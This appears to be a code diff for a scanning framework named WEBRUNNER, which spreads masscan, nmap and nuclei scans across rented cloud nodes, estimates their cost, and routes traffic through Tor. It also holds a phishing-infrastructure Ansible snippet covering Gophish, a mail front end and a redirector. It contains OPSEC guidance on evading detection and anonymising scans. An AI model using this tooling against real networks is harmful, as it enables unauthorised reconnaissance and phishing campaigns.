print(f"{R}█ ⚠ CRITICAL OPSEC WARNING — MASSCAN BYPASSES TOR █{Z}")
|
|
||||||
print(f"{R}{'█' * 70}{Z}")
|
|
||||||
print(f"{W} masscan uses raw sockets and CANNOT be tunneled through Tor or")
|
|
||||||
print(f" proxychains. Every SYN packet sent during the masscan phase reveals")
|
|
||||||
print(f" THIS CLOUD NODE'S IP to the targets and any monitoring along the path.{Z}")
|
|
||||||
print()
|
|
||||||
print(f"{Y} Tor will protect: {Z}{W}nmap fingerprinting, nuclei requests, probe banners{Z}")
|
|
||||||
print(f"{Y} Tor will NOT protect: {Z}{R}masscan SYN scan (bypasses the proxy entirely){Z}")
|
|
||||||
print()
|
|
||||||
print(f"{W} If you need full Tor coverage, use 'nmap-only' mode (slow but fully")
|
|
||||||
print(f" proxied via -sT). The masscan phase is fundamentally incompatible.{Z}\n")
|
|
||||||
|
|
||||||
|
|
||||||
def _show_caveats_block(scan_mode: str, use_tor: bool):
|
|
||||||
Y = COLORS['YELLOW']
|
|
||||||
W = COLORS['WHITE']
|
|
||||||
R = COLORS['RED']
|
|
||||||
Z = COLORS['RESET']
|
|
||||||
print(f"{Y} Caveats — empirical estimates, real scans vary ±30%:{Z}")
|
|
||||||
print(f"{W} • Hit rate assumes ~1% of IPs have open ports on selected ports.")
|
|
||||||
print(f" Real range: 0.5%–5% (higher for SSH/HTTP/HTTPS, lower for niche")
|
|
||||||
print(f" ports). Override via vars file: hit_rate: 0.03{Z}")
|
|
||||||
if scan_mode in ('masscan+nuclei',):
|
|
||||||
print(f"{W} • Nuclei estimate assumes 5s/target (typical CVE template, 1–3 HTTP")
|
|
||||||
print(f" requests). Heavy templates with many requests/matchers run 2–5×")
|
|
||||||
print(f" longer.{Z}")
|
|
||||||
if scan_mode in ('masscan+nmap', 'geo-scout', 'nmap-only'):
|
|
||||||
print(f"{W} • nmap timing: T1=60s/host, T2=30s, T3=15s, T4=10s. Lower T values")
|
|
||||||
print(f" evade rate-limit detection but multiply scan time accordingly.{Z}")
|
|
||||||
if use_tor:
|
|
||||||
print(f"{R} • Tor adds 5× latency to nmap/nuclei/probe phases. Real overhead")
|
|
||||||
print(f" varies 3×–10× depending on circuit quality. Masscan is NOT")
|
|
||||||
print(f" proxied — see the warning banner above.{Z}")
|
|
||||||
print(f"{W} • Provisioning: ~5 min/node included. Add 5–10 min for first-time")
|
|
||||||
print(f" cloud-provider auth or new region.")
|
|
||||||
print(f" • Cost: Linode/FlokiNET bill minimum 1h per node. AWS bills per")
|
|
||||||
print(f" second. Short scans still incur the per-provider minimum.{Z}\n")
|
|
||||||
|
|
||||||
|
|
||||||
def _show_estimate_table(total_ips: int, n_ports: int, providers: list[str], scan_mode: str, use_tor: bool = False, tuning: dict | None = None):
|
|
||||||
rows = build_estimate_table(total_ips, n_ports, providers, scan_mode, use_tor=use_tor, tuning=tuning)
|
|
||||||
|
|
||||||
C = COLORS['CYAN']
|
C = COLORS['CYAN']
|
||||||
W = COLORS['WHITE']
|
W = COLORS['WHITE']
|
||||||
@@ -266,25 +217,11 @@ def _show_estimate_table(total_ips: int, n_ports: int, providers: list[str], sca
|
|||||||
G = COLORS['GREEN']
|
G = COLORS['GREEN']
|
||||||
R = COLORS['RESET']
|
R = COLORS['RESET']
|
||||||
|
|
||||||
masscan_modes = ('masscan-only', 'masscan+nmap', 'geo-scout', 'masscan+nuclei')
|
tor_note = " [Tor: estimates reflect nmap/probe latency]" if use_tor else ""
|
||||||
if use_tor and scan_mode in masscan_modes:
|
|
||||||
_show_masscan_tor_warning()
|
|
||||||
|
|
||||||
tor_note = " [Tor: estimates reflect nmap/probe latency only]" if use_tor else ""
|
|
||||||
print(f"\n{C}{'─' * 70}{R}")
|
print(f"\n{C}{'─' * 70}{R}")
|
||||||
print(f"{C} WEBRUNNER — Cost & Time Estimate{R}")
|
print(f"{C} WEBRUNNER — Cost & Time Estimate{R}")
|
||||||
print(f"{W} Total: {fmt_ip_count(total_ips)} IPs {n_ports} ports Mode: {scan_mode}{R}")
|
print(f"{W} Total: {fmt_ip_count(total_ips)} IPs {n_ports} ports Mode: {scan_mode}{R}")
|
||||||
print(f"{W} Providers: {', '.join(PROVIDER_LABELS[p] for p in providers)}{Y}{tor_note}{R}")
|
print(f"{W} Providers: {', '.join(PROVIDER_LABELS[p] for p in providers)}{Y}{tor_note}{R}")
|
||||||
if tuning:
|
|
||||||
bits = []
|
|
||||||
if 'masscan_rate' in tuning:
|
|
||||||
bits.append(f"masscan={tuning['masscan_rate']}pps")
|
|
||||||
if 'nmap_timing' in tuning:
|
|
||||||
bits.append(f"nmap=T{tuning['nmap_timing']}/{tuning.get('nmap_workers', 10)}w")
|
|
||||||
if 'nuclei_rate' in tuning and scan_mode == 'masscan+nuclei':
|
|
||||||
bits.append(f"nuclei={tuning['nuclei_rate']}rps/{tuning.get('nuclei_concurrency', 25)}c")
|
|
||||||
if bits:
|
|
||||||
print(f"{W} Tuning: {' · '.join(bits)}{R}")
|
|
||||||
print(f"{C}{'─' * 70}{R}")
|
print(f"{C}{'─' * 70}{R}")
|
||||||
print(f" {'Preset':<14} {'Nodes':>6} {'IPs/Node':>10} {'Time/Node':>12} {'Total $':>10}")
|
print(f" {'Preset':<14} {'Nodes':>6} {'IPs/Node':>10} {'Time/Node':>12} {'Total $':>10}")
|
||||||
print(f" {'─' * 56}")
|
print(f" {'─' * 56}")
|
||||||
@@ -302,7 +239,6 @@ def _show_estimate_table(total_ips: int, n_ports: int, providers: list[str], sca
|
|||||||
|
|
||||||
print(f"{C}{'─' * 70}{R}")
|
print(f"{C}{'─' * 70}{R}")
|
||||||
print(f"{Y} * = recommended (Pareto-optimal: speed vs. billing minimum){R}\n")
|
print(f"{Y} * = recommended (Pareto-optimal: speed vs. billing minimum){R}\n")
|
||||||
_show_caveats_block(scan_mode, use_tor)
|
|
||||||
|
|
||||||
|
|
||||||
# ── parameter gathering ───────────────────────────────────────────────────────
|
# ── parameter gathering ───────────────────────────────────────────────────────
|
||||||
@@ -399,23 +335,16 @@ def gather_webrunner_parameters() -> dict | None:
|
|||||||
# Tor routing — ask before estimate so table reflects the slowdown
|
# Tor routing — ask before estimate so table reflects the slowdown
|
||||||
tor_raw = input(f"\nRoute scans through Tor? [y/N]: ").strip().lower()
|
tor_raw = input(f"\nRoute scans through Tor? [y/N]: ").strip().lower()
|
||||||
config['use_tor'] = tor_raw in ['y', 'yes']
|
config['use_tor'] = tor_raw in ['y', 'yes']
|
||||||
masscan_modes = ('masscan-only', 'masscan+nmap', 'geo-scout', 'masscan+nuclei')
|
if config['use_tor']:
|
||||||
if config['use_tor'] and scan_mode in masscan_modes:
|
if scan_mode == 'masscan-only':
|
||||||
_show_masscan_tor_warning()
|
print(f"{COLORS['YELLOW']} Warning: masscan uses raw sockets and bypasses proxychains — Tor has no effect in masscan-only mode.{COLORS['RESET']}")
|
||||||
confirm = input(f"{COLORS['RED']} Continue with Tor enabled, knowing masscan will leak this node's IP? [y/N]: {COLORS['RESET']}").strip().lower()
|
elif scan_mode in ('geo-scout', 'masscan+nmap'):
|
||||||
if confirm not in ['y', 'yes']:
|
print(f"{COLORS['YELLOW']} Note: masscan phase bypasses Tor (raw sockets); nmap and probe phases will use Tor.{COLORS['RESET']}")
|
||||||
print(f"{COLORS['YELLOW']} Tor disabled. To get full Tor coverage, re-run with scan mode 'nmap-only'.{COLORS['RESET']}")
|
else:
|
||||||
config['use_tor'] = False
|
print(f"{COLORS['YELLOW']} Tor routing enabled — all nmap traffic will use proxychains → SOCKS5 9050.{COLORS['RESET']}")
|
||||||
elif config['use_tor']:
|
|
||||||
print(f"{COLORS['GREEN']} Tor routing enabled — all nmap traffic will use proxychains → SOCKS5 9050.{COLORS['RESET']}")
|
|
||||||
|
|
||||||
# Advanced tuning — gather BEFORE estimate so table reflects operator choices
|
# Cost / time estimate — reflects Tor throughput impact
|
||||||
default_rate = config['masscan_rate']
|
_show_estimate_table(total_ips, len(ports), providers, scan_mode, use_tor=config['use_tor'])
|
||||||
tuning = _get_tuning_params(scan_mode, default_rate, vars_overrides)
|
|
||||||
config.update(tuning)
|
|
||||||
|
|
||||||
# Cost / time estimate — reflects tuning + Tor throughput impact
|
|
||||||
_show_estimate_table(total_ips, len(ports), providers, scan_mode, use_tor=config['use_tor'], tuning=tuning)
|
|
||||||
|
|
||||||
# Preset selection
|
# Preset selection
|
||||||
print(f"{COLORS['BLUE']}Select deployment preset:{COLORS['RESET']}")
|
print(f"{COLORS['BLUE']}Select deployment preset:{COLORS['RESET']}")
|
||||||
@@ -509,6 +438,11 @@ def gather_webrunner_parameters() -> dict | None:
|
|||||||
if config['operator_ip']:
|
if config['operator_ip']:
|
||||||
print(f"{COLORS['GREEN']}Operator IP: {config['operator_ip']}{COLORS['RESET']}")
|
print(f"{COLORS['GREEN']}Operator IP: {config['operator_ip']}{COLORS['RESET']}")
|
||||||
|
|
||||||
|
# Advanced tuning
|
||||||
|
default_rate = config['masscan_rate']
|
||||||
|
tuning = _get_tuning_params(scan_mode, default_rate, vars_overrides)
|
||||||
|
config.update(tuning)
|
||||||
|
|
||||||
# OPSEC / teardown options
|
# OPSEC / teardown options
|
||||||
print(f"\n{COLORS['BLUE']}Deployment Options:{COLORS['RESET']}")
|
print(f"\n{COLORS['BLUE']}Deployment Options:{COLORS['RESET']}")
|
||||||
|
|
||||||
|
|||||||
@@ -55,9 +55,9 @@
|
|||||||
- name: Set deployment results
|
- name: Set deployment results
|
||||||
set_fact:
|
set_fact:
|
||||||
phishing_deployment_results:
|
phishing_deployment_results:
|
||||||
gophish_ip: "{{ '10.0.0.10' if 'gophish' in deployment_components else '' }}"
|
gophish_ip: "{{ '192.168.1.10' if 'gophish' in deployment_components else '' }}"
|
||||||
mta_ip: "{{ '10.0.0.11' if 'mta_front' in deployment_components else '' }}"
|
mta_ip: "{{ '192.168.1.11' if 'mta_front' in deployment_components else '' }}"
|
||||||
redirector_ip: "{{ '10.0.0.12' if 'redirector' in deployment_components else '' }}"
|
redirector_ip: "{{ '192.168.1.12' if 'redirector' in deployment_components else '' }}"
|
||||||
webserver_ip: "{{ '10.0.0.13' if 'webserver' in deployment_components else '' }}"
|
webserver_ip: "{{ '192.168.1.13' if 'webserver' in deployment_components else '' }}"
|
||||||
deployment_id: "{{ deployment_id }}"
|
deployment_id: "{{ deployment_id }}"
|
||||||
domain: "{{ phishing_domain | default(domain) }}"
|
domain: "{{ phishing_domain | default(domain) }}"
|
||||||
|
|||||||
+20
-106
@@ -48,101 +48,20 @@ BILLING_MINIMUM = {
|
|||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
# ── Empirical timing constants ────────────────────────────────────────────────
|
NMAP_TIME_PER_HOST_SEC = 10 # empirical: nmap -sV -T4 per host, seconds
|
||||||
# Per-host nmap time by timing template (seconds, -sV --version-intensity 5)
|
MASSCAN_HIT_RATE = 0.01 # fraction of scanned IPs that have open ports
|
||||||
NMAP_TIME_BY_TIMING = {
|
_NMAP_WORKERS = 10 # must match WEBRUNNER_NMAP_WORKERS default
|
||||||
1: 60.0, # T1 sneaky
|
|
||||||
2: 30.0, # T2 polite
|
|
||||||
3: 15.0, # T3 normal
|
|
||||||
4: 10.0, # T4 aggressive (baseline)
|
|
||||||
}
|
|
||||||
|
|
||||||
# Average per-target time for typical nuclei CVE template (1–3 HTTP requests).
|
|
||||||
# Heavy templates with many requests/matchers will run 2–5× longer.
|
|
||||||
NUCLEI_TIME_PER_TARGET_SEC = 5.0
|
|
||||||
|
|
||||||
# TCP banner grab time (geo-scout probe phase)
|
|
||||||
PROBE_TIME_PER_HOST_SEC = 3.0
|
|
||||||
|
|
||||||
# Default fraction of scanned IPs with open ports on common ports.
|
|
||||||
# Real-world range: 0.5%–5% depending on ports & geography.
|
|
||||||
MASSCAN_HIT_RATE = 0.01
|
|
||||||
|
|
||||||
# Defaults — must match WEBRUNNER tuning defaults
|
|
||||||
_NMAP_WORKERS = 10
|
|
||||||
_NUCLEI_RATE = 150
|
|
||||||
_NUCLEI_CONCURRENCY = 25
|
|
||||||
|
|
||||||
# Tor latency multiplier — applies ONLY to TCP probe phases (nmap/nuclei/probe).
|
|
||||||
# Masscan uses raw sockets and bypasses proxychains entirely — Tor cannot
|
|
||||||
# protect masscan SYN packets. The cloud node's IP is exposed to every
|
|
||||||
# masscan target regardless of this setting.
|
|
||||||
TOR_PHASE_MULTIPLIER = 5.0
|
|
||||||
|
|
||||||
# Per-node provisioning overhead (apt install, optional nuclei download).
|
|
||||||
# Nodes provision in parallel so this is roughly constant.
|
|
||||||
PROVISION_OVERHEAD_HOURS = 5 / 60
|
|
||||||
|
|
||||||
|
|
||||||
def estimate_scan_hours(
|
def estimate_scan_hours(ip_count: int, n_ports: int, rate: int, scan_mode: str = 'masscan-only') -> float:
|
||||||
ip_count: int,
|
|
||||||
n_ports: int,
|
|
||||||
rate: int,
|
|
||||||
scan_mode: str = 'masscan-only',
|
|
||||||
*,
|
|
||||||
nmap_timing: int = 4,
|
|
||||||
nmap_workers: int = _NMAP_WORKERS,
|
|
||||||
nuclei_rate: int = _NUCLEI_RATE,
|
|
||||||
nuclei_concurrency: int = _NUCLEI_CONCURRENCY,
|
|
||||||
hit_rate: float = MASSCAN_HIT_RATE,
|
|
||||||
use_tor: bool = False,
|
|
||||||
) -> float:
|
|
||||||
"""Phase-decomposed scan time estimate. Returns hours per node."""
|
|
||||||
if rate <= 0:
|
if rate <= 0:
|
||||||
return PROVISION_OVERHEAD_HOURS
|
return 0.0
|
||||||
|
masscan_hours = (ip_count * n_ports / rate) / 3600
|
||||||
nmap_workers = max(nmap_workers, 1)
|
|
||||||
seconds = 0.0
|
|
||||||
|
|
||||||
# masscan phase: raw sockets, no Tor penalty (Tor cannot proxy raw sockets)
|
|
||||||
if scan_mode in ('masscan-only', 'masscan+nmap', 'geo-scout', 'masscan+nuclei'):
|
|
||||||
seconds += ip_count * n_ports / rate
|
|
||||||
|
|
||||||
# nmap-only phase: every IP gets full -sV fingerprint
|
|
||||||
if scan_mode == 'nmap-only':
|
|
||||||
per_host = NMAP_TIME_BY_TIMING.get(nmap_timing, 10.0)
|
|
||||||
if use_tor:
|
|
||||||
per_host *= TOR_PHASE_MULTIPLIER
|
|
||||||
seconds += (ip_count * per_host) / nmap_workers
|
|
||||||
|
|
||||||
# nmap fingerprint phase: only on masscan hits
|
|
||||||
if scan_mode in ('masscan+nmap', 'geo-scout'):
|
if scan_mode in ('masscan+nmap', 'geo-scout'):
|
||||||
nmap_hosts = ip_count * hit_rate
|
nmap_hosts = ip_count * MASSCAN_HIT_RATE
|
||||||
per_host = NMAP_TIME_BY_TIMING.get(nmap_timing, 10.0)
|
nmap_hours = (nmap_hosts * NMAP_TIME_PER_HOST_SEC) / (_NMAP_WORKERS * 3600)
|
||||||
if use_tor:
|
return masscan_hours + nmap_hours
|
||||||
per_host *= TOR_PHASE_MULTIPLIER
|
return masscan_hours
|
||||||
seconds += (nmap_hosts * per_host) / nmap_workers
|
|
||||||
|
|
||||||
# probe banner phase: geo-scout only, on masscan hits
|
|
||||||
if scan_mode == 'geo-scout':
|
|
||||||
probe_hosts = ip_count * hit_rate
|
|
||||||
per_probe = PROBE_TIME_PER_HOST_SEC
|
|
||||||
if use_tor:
|
|
||||||
per_probe *= TOR_PHASE_MULTIPLIER
|
|
||||||
seconds += (probe_hosts * per_probe) / nmap_workers
|
|
||||||
|
|
||||||
# nuclei phase: only on masscan-discovered ip:port pairs
|
|
||||||
if scan_mode == 'masscan+nuclei':
|
|
||||||
nuclei_targets = ip_count * hit_rate
|
|
||||||
per_target = NUCLEI_TIME_PER_TARGET_SEC
|
|
||||||
if use_tor:
|
|
||||||
per_target *= TOR_PHASE_MULTIPLIER
|
|
||||||
rate_throughput = float(nuclei_rate)
|
|
||||||
parallel_throughput = nuclei_concurrency / per_target
|
|
||||||
effective_rps = max(min(rate_throughput, parallel_throughput), 1.0)
|
|
||||||
seconds += nuclei_targets / effective_rps
|
|
||||||
|
|
||||||
return seconds / 3600 + PROVISION_OVERHEAD_HOURS
|
|
||||||
|
|
||||||
|
|
||||||
def node_cost(provider: str, instance_type: str, scan_hours: float) -> float:
|
def node_cost(provider: str, instance_type: str, scan_hours: float) -> float:
|
||||||
@@ -165,35 +84,30 @@ def fmt_ip_count(n: int) -> str:
|
|||||||
return str(n)
|
return str(n)
|
||||||
|
|
||||||
|
|
||||||
|
# Tor adds ~5x latency overhead for TCP probes; masscan bypasses proxychains (raw sockets)
|
||||||
|
# so only nmap/probe phases are affected — modes that include masscan see partial impact
|
||||||
|
TOR_RATE_MULTIPLIER = 0.2
|
||||||
|
|
||||||
|
|
||||||
def build_estimate_table(
|
def build_estimate_table(
|
||||||
total_ips: int,
|
total_ips: int,
|
||||||
n_ports: int,
|
n_ports: int,
|
||||||
providers: list[str],
|
providers: list[str],
|
||||||
scan_mode: str,
|
scan_mode: str,
|
||||||
use_tor: bool = False,
|
use_tor: bool = False,
|
||||||
tuning: dict | None = None,
|
|
||||||
) -> list[dict]:
|
) -> list[dict]:
|
||||||
tuning = tuning or {}
|
mode_rate = SCAN_MODES.get(scan_mode, {'rate': 3000})['rate']
|
||||||
masscan_rate = int(tuning.get('masscan_rate') or SCAN_MODES.get(scan_mode, {'rate': 3000})['rate'])
|
if use_tor and scan_mode != 'masscan-only':
|
||||||
|
mode_rate = int(mode_rate * TOR_RATE_MULTIPLIER)
|
||||||
kwargs = dict(
|
|
||||||
nmap_timing=int(tuning.get('nmap_timing', 4)),
|
|
||||||
nmap_workers=int(tuning.get('nmap_workers', _NMAP_WORKERS)),
|
|
||||||
nuclei_rate=int(tuning.get('nuclei_rate', _NUCLEI_RATE)),
|
|
||||||
nuclei_concurrency=int(tuning.get('nuclei_concurrency', _NUCLEI_CONCURRENCY)),
|
|
||||||
hit_rate=float(tuning.get('hit_rate', MASSCAN_HIT_RATE)),
|
|
||||||
use_tor=use_tor,
|
|
||||||
)
|
|
||||||
|
|
||||||
rows = []
|
rows = []
|
||||||
for preset_key, preset in PRESETS.items():
|
for preset_key, preset in PRESETS.items():
|
||||||
n_chunks = max(1, math.ceil(total_ips / preset['chunk_size']))
|
n_chunks = max(1, math.ceil(total_ips / preset['chunk_size']))
|
||||||
typical_ips = min(preset['chunk_size'], total_ips)
|
typical_ips = min(preset['chunk_size'], total_ips)
|
||||||
hours_per_node = estimate_scan_hours(typical_ips, n_ports, masscan_rate, scan_mode, **kwargs)
|
hours_per_node = estimate_scan_hours(typical_ips, n_ports, mode_rate, scan_mode)
|
||||||
total_cost = 0.0
|
total_cost = 0.0
|
||||||
for i in range(n_chunks):
|
for i in range(n_chunks):
|
||||||
chunk_ips = min(preset['chunk_size'], total_ips - i * preset['chunk_size'])
|
chunk_ips = min(preset['chunk_size'], total_ips - i * preset['chunk_size'])
|
||||||
chunk_hours = estimate_scan_hours(chunk_ips, n_ports, masscan_rate, scan_mode, **kwargs)
|
chunk_hours = estimate_scan_hours(chunk_ips, n_ports, mode_rate, scan_mode)
|
||||||
provider = providers[i % len(providers)]
|
provider = providers[i % len(providers)]
|
||||||
instance = DEFAULT_INSTANCE.get(provider, 'g6-standard-2')
|
instance = DEFAULT_INSTANCE.get(provider, 'g6-standard-2')
|
||||||
total_cost += node_cost(provider, instance, chunk_hours)
|
total_cost += node_cost(provider, instance, chunk_hours)
|
||||||
|
|||||||
Reference in New Issue
Block a user